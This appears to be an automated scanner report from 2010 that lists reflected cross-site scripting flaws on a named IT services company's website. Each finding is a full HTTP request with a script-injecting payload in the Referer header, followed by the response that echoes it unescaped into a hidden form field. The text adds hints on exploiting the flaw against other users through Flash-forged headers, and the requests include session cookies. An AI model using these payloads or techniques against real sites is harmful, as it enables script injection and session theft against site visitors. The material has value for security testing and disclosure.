GET /solutions/professional_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=7bc59"><script>alert(1)</script>a8a958513fd
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 27202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=7bc59"><script>alert(1)</script>a8a958513fd" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dd49"><script>alert(1)</script>17a849dc5b8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/server_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=6dd49"><script>alert(1)</script>17a849dc5b8
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 35212
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=6dd49"><script>alert(1)</script>17a849dc5b8" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2ac4"><script>alert(1)</script>7bf47ce86a6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /solutions/virtual_services.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=c2ac4"><script>alert(1)</script>7bf47ce86a6
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 33137
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=c2ac4"><script>alert(1)</script>7bf47ce86a6" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45763"><script>alert(1)</script>c320424055c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /thanks.aspx HTTP/1.1 Host: www.directpointe.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; __utmz=217701123.1290271597.1.1.utmgclid=CPCVrMXsr6UCFVNb2godUGtIXA|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=los%20angeles%20it%20consulting; vkeywords=; s_sq=; __utma=217701123.1409149386.1290271597.1290271597.1290271597.1; velarosession=bs405bftbfjkfj55guiqnv45; velaroret5821=1; __utmc=217701123; __utmb=217701123.2.10.1290271597; ASP.NET_SessionId=tczsfa55n5sadr45wy0t5xqa; velaront1=yes; Referer: http://www.google.com/search?hl=en&q=45763"><script>alert(1)</script>c320424055c
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:16:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 22991
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- Copyright .... 2000-2010 DirectPointe Inc. All rights reserved. All ...[SNIP]... <input id="referring_url" name="00NA0000002yNLC" type="hidden" value="http://www.google.com/search?hl=en&q=45763"><script>alert(1)</script>c320424055c" /> ...[SNIP]...
Report generated by XSS.CX at Sat Nov 20 12:43:37 CST 2010.